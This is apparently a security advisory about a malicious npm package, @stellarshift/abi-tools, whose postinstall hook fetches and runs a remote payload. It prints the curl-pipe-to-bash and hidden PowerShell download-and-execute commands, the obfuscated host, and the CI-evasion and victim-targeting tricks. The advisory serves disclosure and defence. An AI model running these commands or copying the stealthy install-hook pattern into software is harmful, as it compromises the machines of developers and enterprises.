@stellarshift/abi-tools@1.0.3

Summary

On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json (self-labeled 'ss-xor-v1') and reconstructed at runtime; the decoded destination is https://mexc-12584333570.cos.ap-beijing.myqcloud.com/abi-tool-.... On Unix the hook runs curl -fsSL '<url>' | bash; on Windows it runs powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command iex (iwr -UseBasicParsing -Uri $uri).Content. There is no pin, hash, or signature check on the fetched bytes. Execution is gated: CI environments are short-circuited, and the payload only fires on Windows/macOS hosts where both a collaboration client (Lark or Feishu) and FortiClient VPN are detected, narrowing execution to enterprise workstations. The child is launched with detached: true, stdio: 'ignore', windowsHide: true, and the postinstall swallows all errors and force-exits 0 so npm install reports success. The package advertises ABI selector hashing utilities; there is no legitimate need to fetch and execute a hidden remote shell payload at install time. The combination of destination obfuscation, victim-selection targeting a Lark/Feishu+FortiClient enterprise cohort, CI evasion, and stealth process flags is a targeted supply-chain attack against managed enterprise endpoints.

Source: amazon-inspector (bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27)